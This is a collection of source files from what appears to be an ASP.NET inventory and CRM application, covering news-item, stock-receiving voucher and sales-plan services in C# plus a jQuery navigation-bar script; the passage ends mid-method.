public int Year { get; set; }
public decimal Quntity { get; set; }
public decimal SumAmount { get; set; }
public List<MonthYear> MonthYears { get; set; }
}
public class MonthYear
{
public int Month { get; set; }
public decimal Qty { get; set; }
public decimal QtyOut { get; set; }
public decimal AmmountIn{ get; set; }
public decimal AmmountOut{ get; set; }
public decimal Ammount0 { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlTypes;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface INewsServices : IServices<ScfNew>
{
IEnumerable<NewsModel> GetByHeader(string term);
ScfNew GetNew(int id);
NewsModel GetNewsModel(int id);
int Created(NewsModel model);
void SaveUpdate(NewsModel model);
bool DeleteNew(int id);
IList<Catelory> ListCatelories(NewType newType);
void Approval(int id);
string SetIsViewed(User user, int id);
bool CheckAboutNewByUser(User user);
IQueryable<ScfNew> GetScfNewsByUser(User user);
}
public class NewsServices : Services<ScfNew>, INewsServices
{
public IEnumerable<NewsModel> GetByHeader(string term)
{
var data = GetAll(x => string.IsNullOrEmpty(term.Trim()) || x.Header.Contains(term));
return data.Select(x => ToModel(x));
}
public ScfNew GetNew(int id)
{
return FindEntity(x => x.Id == id);
}
public NewsModel GetNewsModel(int id)
{
var dbNew = GetNew(id);
return ToModel(dbNew);
}
public int Created(NewsModel model)
{
var db = ToDbModel(model);
//var canupdate = db.UsersCanUpdate + ";";
//db.UsersCanUpdate = canupdate.Replace(";;", ";");
db.DatePromulgate = DateTime.Now;
// db.CateloryId = model.Catelory.Id;
Context.ScfNews.InsertOnSubmit(db);
Context.SubmitChanges();
int id = db.Id;
AssignAccessPermission(id, model.ListUserAccesses);
return id;
}
public void SaveUpdate(NewsModel model)
{
var dbNew = GetNew(model.Id);
if (dbNew == null)
throw new SqlNotFilledException("Not found Warehouse with id");
model.CreaterBy = dbNew.User;
model.DateCreate = dbNew.DateCreate;
model.IsApproved = dbNew.IsApproved;
model.ApprovedBy = dbNew.User2;
model.DateApproved = dbNew.DateApproved;
model.DatePromulgate = dbNew.DatePromulgate;
if (dbNew.Header != model.Header || dbNew.Content != model.Contents)
{
model.DatePromulgate = DateTime.Now;
model.IsApproved = false;
}
CopyToDbModel(model, dbNew);
//var canupdate = model.UsersCanUpdate + ";";
//dbNew.UsersCanUpdate = canupdate.Replace(";;", ";");
Context.SubmitChanges();
AssignAccessPermission(model.Id, model.ListUserAccesses);
}
public bool DeleteNew(int id)
{
var db = GetNew(id);
if (db == null) return false;
var oldPermisstion = Context.GroupAccessPermissions.Where(x => x.AboutId == id).ToList();
Context.GroupAccessPermissions.DeleteAllOnSubmit(oldPermisstion);
var files =
Context.ServerFiles.Where(
x => x.ObjectId == id && x.ObjectType == new SSM.Models.NewsModel().GetType().ToString());
Context.ServerFiles.DeleteAllOnSubmit(files);
Delete(db);
return true;
}
public IList<Catelory> ListCatelories(NewType newType)
{
return Context.Catelories.Where(x => x.Type == (byte)newType).ToList();
}
public void Approval(int id)
{
var db = GetNew(id);
db.IsApproved = true;
Commited();
}
public string SetIsViewed(User user, int id)
{
var db = GetNew(id);
var viewed = string.Format("{0};{1};", db.UserView, user.Id);
db.UserView = viewed.Replace(";;", ";");
Commited();
return viewed;
}
private ScfNew ToDbModel(NewsModel model)
{
var db = new ScfNew()
{
Content = model.Contents,
Header = model.Header,
DateCreate = model.DateCreate,
CreatedBy = model.CreaterBy.Id,
IsAllowAnotherUpdate = model.IsAllowAnotherUpdate,
Sourse = model.Sourse,
CateloryId = model.CateloryId,
Type = (byte)model.Type,
IsApproved = model.IsApproved,
RefDoc = model.RefDoc,
DateApproved = model.DateApproved,
DatePromulgate = model.DatePromulgate,
UsersCanUpdate = model.UsersCanUpdate
};
if (!model.IsAllowAnotherUpdate)
{
db.UsersCanUpdate = null;
}
return db;
}
private void CopyToDbModel(NewsModel model, ScfNew db)
{
db.Content = model.Contents;
db.Header = model.Header;
db.DateCreate = model.DateCreate;
db.DateModify = model.DateModify;
if (model.ModifiedBy != null)
db.ModifiedBy = model.ModifiedBy.Id;
db.CreatedBy = model.CreaterBy.Id;
db.IsAllowAnotherUpdate = model.IsAllowAnotherUpdate;
db.CateloryId = model.CateloryId;
db.Sourse = model.Sourse;
db.Type = (byte)model.Type;
db.IsApproved = model.IsApproved;
db.RefDoc = model.RefDoc;
if (model.ApprovedBy != null)
db.Appvovedby = model.ApprovedBy.Id;
else
db.Appvovedby = (long?)null;
db.DateApproved = model.DateApproved;
db.DatePromulgate = model.DatePromulgate;
db.UsersCanUpdate = model.UsersCanUpdate;
if (!model.IsAllowAnotherUpdate)
{
db.UsersCanUpdate = null;
}
}
public static NewsModel ToModel(ScfNew model)
{
var md = new NewsModel();
md.Contents = model.Content;
md.Id = model.Id;
md.Header = model.Header;
md.DateCreate = model.DateCreate;
md.DateModify = model.DateModify;
md.ModifiedBy = model.User1;
md.CreaterBy = model.User;
md.IsAllowAnotherUpdate = model.IsAllowAnotherUpdate;
md.CateloryId = model.CateloryId;
md.Sourse = model.Sourse;
md.Type = (NewType)model.Type;
md.Catelory = model.Catelory;
md.IsApproved = model.IsApproved;
var oldPermisstion = model.GroupAccessPermissions.Where(x => x.AboutId == model.Id).ToList();
md.NewAccessPermissions = oldPermisstion;
md.ListUserAccesses = oldPermisstion.Select(x => x.GroupId).ToArray();
md.RefDoc = model.RefDoc;
md.ApprovedBy = model.User2;
md.DateApproved = model.DateApproved;
md.DatePromulgate = model.DatePromulgate;
md.UsersCanUpdate = model.UsersCanUpdate;
if (!string.IsNullOrEmpty(model.UsersCanUpdate))
{
md.ListUserUpdate =
model.UsersCanUpdate.Split(';')
.Where(x => !string.IsNullOrEmpty(x))
.Select(x => long.Parse(x))
.ToArray();
}
else
{
md.ListUserUpdate = new long[100];
}
md.UserView = model.UserView;
return md;
}
private void AssignAccessPermission(int newId, int[] listUser)
{
var oldPermisstion = Context.GroupAccessPermissions.Where(x => x.AboutId == newId).ToList();
Context.GroupAccessPermissions.DeleteAllOnSubmit(oldPermisstion);
if (listUser != null && listUser.Count() > 0)
{
var nPermissions = listUser.Select(userId => new GroupAccessPermission { AboutId = newId, GroupId = userId }).ToList();
Context.GroupAccessPermissions.InsertAllOnSubmit(nPermissions);
}
Commited();
}
public IQueryable<ScfNew> GetScfNewsByUser(User user)
{
bool checkEdit = user.IsEditNew(null);
var grpermission = user.UserGroups.Select(x => x.GroupId).ToList();
var listNew =
GetQuery(x => (checkEdit || x.GroupAccessPermissions.Any(u => grpermission.Contains(u.GroupId)))
|| x.UsersCanUpdate.Contains(string.Format(";{0};", user.Id)));
return listNew;
}
public bool CheckAboutNewByUser(User user)
{
var listNew =
GetScfNewsByUser(user)
.Where(x => x.Type == (byte)NewType.News && (DateTime.Now - x.DateCreate).Days <= Helpers.DaysView)
.ToList();
var check = true;
if (!listNew.Any()) return false;
check = listNew.Any(x => x.UserView == null);
if (check) return true;
foreach (var scfNew in listNew)
{
check = scfNew.UserView.Contains(string.Format(";{0};", user.Id));
if (check == false)
return true;
}
return false;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data.Linq;
using System.Data.SqlTypes;
using System.Linq;
using System.Linq.Expressions;
using System.Security.Cryptography.X509Certificates;
using System.Text.RegularExpressions;
using AutoMapper;
using Microsoft.Office.Interop.Excel;
using SSM.Common;
using SSM.Models;
using SSM.ViewModels;
namespace SSM.Services
{
public interface IStockReceivingService : IServices<MT72>
{
IEnumerable<Curency> GetAllCurencies();
IEnumerable<MT72> GetAll(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser);
IEnumerable<OrderModel> GetAllModel(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser);
MT72 GetBy(Expression<Func<MT72, bool>> filter);
MT72 GetById(long id);
OrderModel GetByModel(long id);
MT72 GetByNo(string no);
void Insert(OrderModel order, out long id);
void Update(OrderModel order);
void DeleteOrder(long id);
void VoucherAction(VoucherStatus status, long userId, long id);
string GetVoucherNo();
long GetVoucherId();
int GetVoucherCodeId(string code = "");
int SubmitStockCard(long voucherId, bool isSubmit);
}
public class StockReceivingService : Services<MT72>, IStockReceivingService
{
public IEnumerable<Curency> GetAllCurencies()
{
return Context.Curencies.OrderBy(x => x.Code).ToList();
}
public IEnumerable<MT72> GetAll(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser)
{
try
{
var qr = GetQueryFilter(filter, currenUser);
totalRow = qr.Count();
return GetListPager(qr, page, pageSize);
}
catch (Exception ex)
{
Logger.LogError(ex);
totalRow = 0;
return new List<MT72>();
}
}
public IEnumerable<OrderModel> GetAllModel(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser)
{
var dbList = GetAll(filter, page, pageSize, out totalRow, currenUser);
return dbList.Select(mt72 => CopyToModel(mt72)).ToList();
}
public MT72 GetBy(Expression<Func<MT72, bool>> filter)
{
return Context.MT72s.FirstOrDefault(filter);
}
public MT72 GetById(long id)
{
return Context.MT72s.FirstOrDefault(x => x.VoucherID == id);
}
public OrderModel GetByModel(long id)
{
var order = GetById(id);
if (order == null) return null;
return CopyToModel(order); ;
}
public MT72 GetByNo(string no)
{
return Context.MT72s.FirstOrDefault(x => x.VoucherNo == no);
}
public void Insert(OrderModel order, out long id)
{
var dbOrder = new MT72
{
DateCreate = DateTime.Now,
CreateBy = order.CreateBy,
CurencyID = order.Curency.Id,
DeclaraDate = order.DeclaraDate,
ReceiptDate = order.ReceiptDate,
VoucherDate = order.VoucherDate,
DeclaraNo = order.DeclaraNo,
HBL = order.HBL,
MBL = order.MBL,
SupplierID = order.Supplier.Id,
VoucherCode = GetVoucherCodeId(),
VoucherID = order.VoucherId,
status = (byte)VoucherStatus.Pending,
VoucherNo = order.VoucherNo,
CountryID = order.Country.Id,
ExchangeRate = order.ExchangeRate,
Description = order.Description,
NotePrints = order.NotePrints,
};
var esited = GetById(order.VoucherId);
if (esited != null)
{
dbOrder.VoucherID = GetVoucherId();
dbOrder.VoucherNo = GetVoucherNo();
}
id = dbOrder.VoucherID;
Context.MT72s.InsertOnSubmit(dbOrder);
Commited();
InsertToDetails(order);
}
private void InsertToDetails(OrderModel model)
{
var dts = model.OrderDetails;
if (dts != null && dts.Any())
{
var mt = GetById(model.VoucherId);
decimal tQty, tAmount, tTax, tTransportFee, tInlandFee, tFee1, tfee2, tFee, tToltal;
tQty = tAmount = tTax = tTransportFee = tInlandFee = tFee1 = tfee2 = tFee = tToltal = 0M;
int id = 1;
foreach (var dt in dts)
{
var amount = dt.Quantity * dt.Price;
var tax = (amount * dt.ImportTaxRate) / 100;
var tfee = dt.Fee1 + dt.Fee2 + dt.TransportFee + dt.InlandFee;
var db = new DT72()
{
ProductID = dt.ProductId,
WarehouseID = dt.WarehouseId,
UOM = dt.UOM,
Quantity = dt.Quantity,
Price = dt.Price,
ImportTaxRate = dt.ImportTaxRate,
TransportFee = dt.TransportFee,
InlandFee = dt.InlandFee,
Fee1 = dt.Fee1,
Fee2 = dt.Fee2,
VoucherID = model.VoucherId,
RowID = id,
T_Fee = tfee,
Amount = amount,
Description = dt.Note,
VATTax = dt.Tax,
VATTaxRate = dt.TaxRate,
ImportTax = tax
};
var total = tfee + amount + tax;
db.TT = total;
db.PriceReceive = total / dt.Quantity;
tQty += dt.Quantity;
tAmount += amount;
tTax += db.ImportTax ?? 0 + db.VATTax ?? 0;
tTransportFee += dt.TransportFee;
tInlandFee += dt.InlandFee;
tFee1 += dt.Fee1;
tfee2 += dt.Fee2;
tFee += dt.Fee1 + dt.Fee2 + dt.TransportFee + dt.InlandFee;
tToltal += total;
Context.DT72s.InsertOnSubmit(db);
id++;
}
mt.T_Quantity = tQty;
mt.T_Amount = tAmount;
mt.T_VATTax = tTax;
mt.t_TransportFee = tTransportFee;
mt.t_InlandFee = tInlandFee;
mt.t_Fee = tFee;
mt.t_Fee1 = tFee1;
mt.t_Fee2 = tfee2;
mt.T_TT = tToltal;
}
Commited();
}
public void Update(OrderModel order)
{
var mt = GetById(order.VoucherId);
if (mt == null)
throw new NullReferenceException("not found voucherId:" + order.VoucherId);
mt.ModifyBy = order.ModifyBy;
mt.DateModify = order.DateModify;
mt.CurencyID = (int)order.Curency.Id;
mt.DeclaraDate = order.DeclaraDate;
mt.ReceiptDate = order.ReceiptDate;
mt.VoucherDate = order.VoucherDate;
mt.DeclaraNo = order.DeclaraNo;
mt.HBL = order.HBL;
mt.MBL = order.MBL;
mt.Description = order.Description;
mt.SupplierID = order.Supplier.Id;
mt.VoucherID = order.VoucherId;
mt.CountryID = (int)order.Country.Id;
mt.ExchangeRate = order.ExchangeRate;
mt.NotePrints = order.NotePrints;
//pro detail
var dts = mt.DT72s.ToList();
Context.DT72s.DeleteAllOnSubmit(dts);
Commited();
InsertToDetails(order);
}
public void DeleteOrder(long id)
{
var mt = GetById(id);
if (mt == null)
throw new NullReferenceException("not found voucherId:" + id);
if (mt.status == (byte)VoucherStatus.Pending)
{
try
{
var dts = Context.DT72s.Where(x => x.VoucherID == id).ToList();
Context.DT72s.DeleteAllOnSubmit(dts);
Context.MT72s.DeleteOnSubmit(mt);
Commited();
}
catch (Exception ex)
{
Logger.LogError(ex);
}
}
}
public void VoucherAction(VoucherStatus status, long userId, long id)
{
bool isCancle = false;
var mt = GetById(id);
if (mt == null)
throw new NullReferenceException("not found voucherId:" + id);
if (mt.status > (byte)status)
isCancle = true;
mt.status = (byte)status;
switch (status)
{
case VoucherStatus.Approved:
mt.ApprovedBy = userId;
mt.DateApproved = DateTime.Now;
break;
case VoucherStatus.Checked:
if (isCancle == false)
{
mt.CheckedBy = userId;
mt.DateChecked = DateTime.Now;
}
mt.ApprovedBy = null;
mt.DateApproved = null;
break;
case VoucherStatus.Submited:
if (isCancle == false)
{
mt.SubmittedBy = userId;
mt.DateSubmited = DateTime.Now;
}
mt.CheckedBy = null;
mt.DateChecked = null;
mt.ApprovedBy = null;
mt.DateApproved = null;
break;
//case VoucherStatus.Locked:
// if (mt.status == (byte)VoucherStatus.Approved)
// mt.status = (byte)VoucherStatus.Checked;
// if (mt.status == (byte)VoucherStatus.Checked)
// mt.status = (byte)VoucherStatus.Submited;
// if (mt.status == (byte)VoucherStatus.Submited)
// {
// mt.status = (byte)VoucherStatus.Pending;
// SubmitStockCard(id, false);
// }
// break;
case VoucherStatus.Pending:
default:
mt.SubmittedBy = null;
mt.CheckedBy = null;
mt.ApprovedBy = null;
mt.DateSubmited = null;
mt.DateChecked = null;
mt.DateApproved = null;
break;
}
Commited();
if (status == VoucherStatus.Submited || status == VoucherStatus.Pending)
{
SubmitStockCard(id, true);
}
}
public string GetVoucherNo()
{
long vcNum = 1;
var mtlast = Context.MT72s.OrderByDescending(x => x.DateCreate).FirstOrDefault();
if (mtlast != null)
vcNum = long.Parse(mtlast.VoucherNo.GetNumberFromStr()) + 1;
return "NK" + vcNum.ToString("000000"); ;
}
public long GetVoucherId()
{
var order = Context.Orders.FirstOrDefault(x => x.Id == 1);
if (order == null)
throw new SqlNullValueException("Order number not value");
long newId = order.Number + 1;
order.Number = newId;
order.ngay_dn = DateTime.Now;
Commited();
return newId;
}
public int GetVoucherCodeId(string code = "")
{
if (string.IsNullOrEmpty(code))
{
code = "PNA";
}
var voucher = Context.Vouchers.FirstOrDefault(x => x.code.Trim() == code.Trim());
if (voucher != null)
return voucher.id;
return 1;
}
public int SubmitStockCard(long voucherId, bool isSubmit)
{
return Context.sp_postpv((int)voucherId);
}
private OrderModel CopyToModel(MT72 order)
{
if (order.status != null)
{
var model = new OrderModel
{
DateCreate = DateTime.Now,
CreateBy = order.CreateBy.HasValue ? order.CreateBy.Value : 0,
Curency = order.Curency ?? new Curency(),
DeclaraDate = order.DeclaraDate,
ReceiptDate = order.ReceiptDate,
VoucherDate = order.VoucherDate,
DeclaraNo = order.DeclaraNo,
HBL = order.HBL,
MBL = order.MBL,
Supplier = order.Supplier ?? new Supplier(),
VoucherCode = GetVoucherCodeId(),
VoucherId = order.VoucherID,
Status = (VoucherStatus)order.status,
VoucherNo = order.VoucherNo,
Country = order.Country ?? new Country(),
ExchangeRate = order.ExchangeRate ?? 0,
Description = order.Description,
Fee = order.t_Fee ?? 0,
Fee1 = order.t_Fee1 ?? 0,
Fee2 = order.t_Fee2 ?? 0,
InlnadFee = order.t_InlandFee ?? 0,
TransportFee = order.t_TransportFee ?? 0,
TAmount = order.T_Amount ?? 0,
QuantityTotal = order.T_Quantity ?? 0,
TTT = order.T_TT ?? 0,
TVATTax = order.T_VATTax ?? 0,
UserCreated = order.User ?? new User(),
UserChecked = order.User1 ?? new User(),
UserApproved = order.User2 ?? new User(),
UserSubmited = order.User3 ?? new User(),
DateSubmited = order.DateSubmited,
DateChecked = order.DateChecked,
DateApproved = order.DateApproved,
DateModify = order.DateModify,
NotePrints = order.NotePrints,
};
model.VnTTT = (model.ExchangeRate > 0 ? model.ExchangeRate : 1) * model.TTT;
var dbdetails = Context.DT72s.Where(x => x.VoucherID == order.VoucherID).ToList();
if (dbdetails.Any())
{
var details = dbdetails.Select(x => CopyModeDetail(x)).ToList();
model.OrderDetails = details;
try
{
var prs = details.Any()
? details.Aggregate(string.Empty,
(current, dt) => current + dt.ProductCode + ",<br/> ")
: string.Empty;
model.ProductView = prs;
}
catch (Exception ex)
{
Logger.LogError(ex);
model.ProductView = string.Empty;
}
}
return model;
}
return null;
}
private OrderDetailModel CopyModeDetail(DT72 dt)
{
var prod = Context.Products.FirstOrDefault(x => x.Id == dt.ProductID);
var proName = prod != null ? prod.Code.Trim() + "-" + prod.Name.Trim() : string.Empty;
var exRate = dt.MT72.ExchangeRate.Value > 0 ? dt.MT72.ExchangeRate.Value : 1;
var db = new OrderDetailModel()
{
ProductId = dt.ProductID ?? 0,
ProductCode = proName,
WarehouseId = dt.WarehouseID ?? 0,
UOM = dt.UOM,
Quantity = dt.Quantity ?? 0,
Price = dt.Price ?? 0,
ImportTax = dt.ImportTax ?? 0,
ImportTaxRate = dt.ImportTaxRate ?? 0,
TransportFee = dt.TransportFee ?? 0,
InlandFee = dt.InlandFee ?? 0,
Fee1 = dt.Fee1 ?? 0,
Fee2 = dt.Fee2 ?? 0,
VoucherId = dt.VoucherID,
RowId = dt.RowID,
Amount = dt.Amount ?? 0,
Note = dt.Description,
Tax = dt.VATTax ?? 0,
TaxRate = dt.VATTaxRate ?? 0,
Total = dt.TT ?? 0,
PriceReceive = dt.PriceReceive ?? 0,
TFee = dt.T_Fee ?? 0,
Product = dt.Product,
Warehouse = dt.Warehouse,
};
db.VnTotal = db.Total * exRate;
return db;
}
private IQueryable<MT72> GetQueryFilter(TradingStockSearch filter, User currenUser)
{
filter = filter ?? new TradingStockSearch();
filter.Product = filter.Product ?? new Product();
filter.Supplier = filter.Supplier ?? new Supplier();
filter.Warehouse = filter.Warehouse ?? new Warehouse();
filter.Customer = filter.Customer ?? new Customer();
filter.CreatedBy = filter.CreatedBy ?? new User();
filter.SortField = filter.SortField ?? new SSM.Services.SortField(string.Empty, true);
var query = GetQuery(x =>
(string.IsNullOrEmpty(filter.Supplier.FullName) || x.Supplier.FullName.Contains(filter.Supplier.FullName))
&& (string.IsNullOrEmpty(filter.VoucherNo) || x.VoucherNo.Contains(filter.VoucherNo))
&& (string.IsNullOrEmpty(filter.HBL) || x.HBL.Contains(filter.HBL))
&& (string.IsNullOrEmpty(filter.MBL) || x.MBL.Contains(filter.MBL))
&& (filter.CreatedId == 0 || x.CreateBy == filter.CreatedId)
&& (string.IsNullOrEmpty(filter.Product.Code) || x.DT72s.Any(d => d.Product.Code.Contains(filter.Product.Code)))
&& (string.IsNullOrEmpty(filter.Product.Name) || x.DT72s.Any(d => d.Product.Name.Contains(filter.Product.Name)))
&& (filter.Warehouse.Id == 0 || x.DT72s.Any(d => d.WarehouseID.Value == filter.Warehouse.Id))
);
if (filter.FromDate.HasValue)
{
query = query.Where(x => x.VoucherDate >= filter.FromDate.Value.Date);
}
if (filter.ToDate.HasValue)
{
query = query.Where(x => x.VoucherDate <= filter.ToDate.Value.Date);
}
if (!(currenUser.IsAdmin() || currenUser.IsAccountant()))
{
if (currenUser.IsDirecter())
{
var comid = Context.ControlCompanies.Where(x => x.UserId == currenUser.Id).Select(x => x.ComId).ToList();
comid.Add(currenUser.Id);
query = query.Where(x => comid.Contains(x.User.ComId.Value));
}
else if (currenUser.IsDepManager())
{
query = query.Where(x => x.User.DeptId == currenUser.DeptId && x.User.ComId == currenUser.ComId);
}
else
{
query = query.Where(x => x.User.Id == currenUser.Id);
}
}
query = string.IsNullOrEmpty(filter.SortField.FieldName) ? query.OrderByDescending(x => x.VoucherDate) : query.OrderBy(filter.SortField);
return query;
}
}
}<file_sep>using System;
namespace SSM.ViewModels
{
public class CheckModel
{
public DayOfWeek Name { get; set; }
public bool Checked { get; set; }
public int Id { get; set; }
}
}<file_sep>jQuery.noConflict();
(function($) {
jQuery.fn.mainNavInit = function() {
var $this = jQuery(this);
// init vars
var myNav = jQuery('#mainNavBar');
var mWidth = 1;
var lWidth = new Array();
var vWidth = 940;
var liNum = jQuery('> li',myNav).size();
var speed = 500;
var options = {
duration: speed,
easing: 'linear'
};
var myListContents ='';
var defWidth;
var pin = eval(checkPinModeCookie());
var activePin = false;
// check width of nav' items
jQuery('#mainNavBar > li > a > span').each(function(){
var $this = jQuery(this);
if ($this.width() > 100) $this.width(100);
});
// vertical align
jQuery('#mainNavBar > li > a > span > strong').each(function(){
var $this = jQuery(this);
if ($this.height() > 18) $this.parent().css({paddingTop: '7px', height: '37px'});
});
// carousel in nav init
jQuery('#mainNavBar > li').each(function(i){
mWidth += jQuery(this).outerWidth();
lWidth.push(jQuery(this).outerWidth());
});
myNav.width(mWidth);
myNav.parents(".MainNavHolderL2").width(mWidth+200);
defWidth = mWidth;
vWidth = mWidth;
myNav.wrap('<div class="MainNavContainer"><div id="mainNavMask">');
// add controls when width is longer than mask
if (mWidth > vWidth) {
jQuery('.MainNavContainer').prepend('<a id="mainNavPrev" href="#" title="Previous">Previous</a>').append('<a id="mainNavNext" href="#" title="Next">Next</a>');
jQuery('#mainNavPrev').click(function() {
if ( myNav.queue("fx").length > 0 ) return false;
var mLeft = myNav.position().left;
var mRight = vWidth - mLeft - mWidth;
var cWidth = 0;
var i = liNum - 1;
var mSpace = 0;
while ( cWidth <= vWidth - mRight ) {
cWidth += lWidth[i];
i--;
}
mSpace = mLeft + (cWidth + mRight - vWidth + 1);
if (cWidth + mRight - vWidth + 1 < lWidth[i+1]) mSpace += lWidth[i];
if (mSpace > 0) {
mSpace = 0;
}
myNav.animate({ left: mSpace, position: "relative" }, { duration: speed });
return false;
});
jQuery('#mainNavNext').click(function () {
if ( myNav.queue("fx").length > 0 ) return false;
var mLeft = myNav.position().left;
var cWidth = 0;
var i = 0;
var mSpace = 0;
while ( cWidth <= vWidth - mLeft ) {
cWidth += lWidth[i];
i++;
}
mSpace = -1 * (cWidth - vWidth + 1);
if (cWidth + mLeft - vWidth + 1 < lWidth[i-1]) mSpace -= lWidth[i];
if (mWidth + mSpace <= vWidth) {
mSpace = -1 * (mWidth - vWidth);
}
myNav.animate({ left: mSpace, position: "relative" }, options);
return false;
});
}
// init events
jQuery('#mainNavBar > li:first-child').addClass('FirstItem');
jQuery('#mainNavBar > li.Active').activeThisNav();
//set width for each MainNavGroup
jQuery("#subNav").find("li.MainNavGroup ").each(function () {
var el = jQuery(this);
var el_width = 0;
el.find("> ul > li").each(function () {
var sub_el = jQuery(this);
el_width += sub_el.outerWidth(true);
});
el.width(el_width);
});
jQuery("#mainNavBar").bind("mouseover", function(evt){
if(!jQuery("#mainNavBar li").hasClass("Active")) return false;
if ( $this.queue("fx").length > 0 ) return false;
var ul = jQuery('#subNav> ul>li>ul');
if ( !pin && $this.hasClass('Compact') && jQuery("#mainNavBar > li.Active").attr("id") != "mainNavBar_adminTab") {
activePin = false;
$this.removeClass('Compact').animate({
height: '190px'
}, function() {
jQuery('#navMode').show();
ul.show();
setTabWidth();
});
//makeInternalFooterBarPosition();
}
evt.stopPropagation();
});
jQuery("#mainNavBar").bind("mouseout", function(evt){
if(!jQuery("#mainNavBar li").hasClass("Active")) return false;
if (!pin && activePin && !$this.hasClass('Compact') && jQuery("#mainNavBar > li.Active").attr("id") != "mainNavBar_adminTab" ) {
activePin = false;
$this.addClass('Compact').animate({
height: '93px'
}, function(){
jQuery('#navMode').hide();
setTabWidth();
});
//makeInternalFooterBarPosition();
}
evt.stopPropagation();
});
jQuery('li.MainNavTab > a').bind("click", function(){
jQuery(this).parent().activeThisNav();
return true; //For got to node page
});
jQuery("#subNav").bind("mouseover", function(evt){
if(!jQuery("#mainNavBar li").hasClass("Active"))return false;
if ( $this.queue("fx").length > 0 ) return false;
var ul = jQuery('#subNav> ul>li>ul');
if ( !pin && $this.hasClass('Compact') && jQuery("#mainNavBar > li.Active").attr("id") != "mainNavBar_adminTab") {
activePin = false;
ul.hide();
$this.removeClass('Compact').animate({
height: '190px'
}, function() {
jQuery('#navMode').show();
ul.show();
setTabWidth();
});
// makeInternalFooterBarPosition();
}
evt.stopPropagation();
});
jQuery(document).bind("mouseover", function(){
if(!jQuery("#mainNavBar li").hasClass("Active")) return false;
if ( $this.queue("fx").length > 0 ) return false;
var ul = jQuery('#subNav> ul>li>ul');
if ( !activePin && !pin && !$this.hasClass('Compact') && jQuery("#mainNavBar > li.Active").attr("id") != "mainNavBar_adminTab") {
ul.hide();
$this.addClass('Compact').animate({
height: '93px'
}, function(){
ul.show();
jQuery('#navMode').hide();
setTabWidth();
});
}
});
jQuery('li.MainNavGroup > a').click(function(){
return false;
});
// pin me
jQuery('#navMode').bind("mouseover", function(evt){
evt.stopPropagation();
});
jQuery('#navMode').bind("click", function(event){
pin = !pin;
if ( pin ) {
jQuery(this).addClass('Active');
activePin = true;
setCookie("main_nav_pin_mode", "true");
}
else {
jQuery(this).removeClass('Active');
activePin = false;
setCookie("main_nav_pin_mode", "false");
}
event.preventDefault();
});
if( (jQuery("#subNav > ul> li > ul > li").hasClass("Active") && ( pin == undefined || !pin)) || (jQuery("#mainNavBar > li.Active").attr("id") == "mainNavBar_adminTab") ) {
//has active in sub and no pin-cookie : short-mode
$this.addClass('Compact').animate({
height: '93px'
}, function(){
jQuery('#navMode').removeClass('Active').hide();
setTabWidth();
});
}
else { //no active in sub or pin-cookie=true : long-mode
$this.removeClass('Compact').animate({
height: '190px'
}, function() {
jQuery('#navMode').addClass("Active").show();
setTabWidth();
});
pin = true;
activePin = true;
}
if( !jQuery('#mainNavBar > li').hasClass("Active") ){
$this.addClass('Compact').animate({
height: '93px'
}, function(){
jQuery('#navMode').removeClass('Active').hide();
setTabWidth();
});
}
if( jQuery("#mainNavBar > li.Active").attr("id") == "mainNavBar_adminTab" ) {
//makeInternalFooterBarPosition();
}
};
jQuery.fn.activeThisNav = function(){
jQuery('li.MainNavTab').removeClass('Active');
jQuery(this).addClass('Active');
if (jQuery(this).attr('id') != 'mainNavBar_adminTab') {
jQuery('#subNav').removeClass('Admin').html(jQuery('> ul',this).clone());
jQuery('#navMode').show();
} else {
setHeghtOfNavigationBar();
jQuery('#subNav').addClass('Admin').html(jQuery('> ul',this).clone());
jQuery('#navMode').hide();
}
jQuery('#subNav li:first-child').addClass('FirstItem');
jQuery('#subNav li:last-child').addClass('LastItem');
jQuery('#subNav li:only-child').addClass('OnlyItem').removeClass('FirstItem').removeClass('LastItem');
};
})(jQuery);
jQuery(function(){
jQuery('#mainNav').mainNavInit();
//jQuery('#mainNavBar').css("width", "100%");
});
/* cookies */
//Cookies for basket item
function setCookie(cookieName, string) {
jQuery.cookie(cookieName, string, { path: '/' });
}
function getCookie(cookieName) {
if (jQuery.cookie(cookieName) != null) {
return jQuery.cookie(cookieName);
}
else {
return "";
}
}
function checkPinModeCookie() {
if (getCookie("main_nav_pin_mode") != "") {
return getCookie("main_nav_pin_mode");
}
}
/* END. cookies */
function setHeightOfNavigationBar() {
if(jQuery.browser.msie){
jQuery('#mainNav').animate({height: '222px'}).removeClass('Compact');
}
else {
jQuery('#mainNav').animate({height: '210px'}).removeClass('Compact');
}
}
function setTabWidth () {
if ( jQuery('#mainNav').hasClass("Compact") ) {
jQuery(".MainNavGroup").each(function () {
var holder = jQuery(this);
var text = holder.find("a:first");
var iconHolder = holder.find("> ul");
if ( holder.width() < text.outerWidth(true) + iconHolder.outerWidth(true) ) {
text.addClass("ShortMode");
}
});
}
else {
jQuery(".ShortMode").removeClass("ShortMode");
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMPLanSaleService : IServices<CRMPLanSale>
{
CRMPLanSaleModel InsertModel(CRMPLanSaleModel model);
CRMPLanSaleModel GetByIModel(long id);
void UpdateModel(CRMPLanSaleModel model);
void DeleteModel(long id);
List<CRMPLanSaleModel> GetAllByUser(User user, int year, long deptId = 0);
List<CRMSalesPlanOffice> GetAllDeptList(int year, long deptId = 0, long comId = 0);
}
public class CRMPLanSaleService : Services<CRMPLanSale>, ICRMPLanSaleService
{
private ICRMPlanProgMonthServics planProgMonthServics;
public CRMPLanSaleService()
{
planProgMonthServics = new CRMPlanProgMonthServics();
}
public CRMPLanSaleModel InsertModel(CRMPLanSaleModel model)
{
var db = new CRMPLanSale
{
SalesId = model.SalesId,
PlanYear = model.PlanYear
};
var newDb = (CRMPLanSale)Insert(db);
return ToModel(newDb);
}
public CRMPLanSaleModel GetByIModel(long id)
{
var splan = FindEntity(x => x.Id == id);
return ToModel(splan);
}
public void UpdateModel(CRMPLanSaleModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
